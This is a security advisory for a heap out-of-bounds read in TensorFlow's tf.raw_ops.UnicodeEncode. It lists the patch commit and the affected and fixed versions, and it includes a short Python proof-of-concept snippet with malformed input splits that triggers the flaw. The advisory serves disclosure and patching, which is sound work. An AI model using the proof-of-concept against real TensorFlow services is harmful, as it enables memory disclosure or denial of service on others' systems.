First published: Fri May 14 2021(Updated: )
### Impact An attacker can access data outside of bounds of heap allocated array in `tf.raw_ops.UnicodeEncode`: ```python import tensorflow as tf input_values = tf.constant([58], shape=[1], dtype=tf.int32) input_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32) output_encoding = "UTF-8" tf.raw_ops.UnicodeEncode( input_values=input_values, input_splits=input_splits, output_encoding=output_encoding) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/472c1f12ad9063405737679d4f6bd43094e1d36d/tensorflow/core/kernels/unicode_ops.cc) assumes that the `input_value`/`input_splits` pair specify a valid sparse tensor. ### Patches We have patched the issue in GitHub commit [51300ba1cc2f487aefec6e6631fef03b0e08b298](https://github.com/tensorflow/tensorflow/commit/51300ba1cc2f487aefec6e6631fef03b0e08b298). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Credit: security-advisories@github.com security-advisories@github.com
Affected Software | Affected Version | How to fix |
---|---|---|
Google TensorFlow | <2.1.4 | |
Google TensorFlow | >=2.2.0<2.2.3 | |
Google TensorFlow | >=2.3.0<2.3.3 | |
Google TensorFlow | >=2.4.0<2.4.2 | |
pip/tensorflow-gpu | >=2.4.0<2.4.2 | 2.4.2 |
pip/tensorflow-gpu | >=2.3.0<2.3.3 | 2.3.3 |
pip/tensorflow-gpu | >=2.2.0<2.2.3 | 2.2.3 |
pip/tensorflow-gpu | <2.1.4 | 2.1.4 |
pip/tensorflow-cpu | >=2.4.0<2.4.2 | 2.4.2 |
pip/tensorflow-cpu | >=2.3.0<2.3.3 | 2.3.3 |
pip/tensorflow-cpu | >=2.2.0<2.2.3 | 2.2.3 |
pip/tensorflow-cpu | <2.1.4 | 2.1.4 |
pip/tensorflow | >=2.4.0<2.4.2 | 2.4.2 |
pip/tensorflow | >=2.3.0<2.3.3 | 2.3.3 |
pip/tensorflow | >=2.2.0<2.2.3 | 2.2.3 |
pip/tensorflow | <2.1.4 | 2.1.4 |
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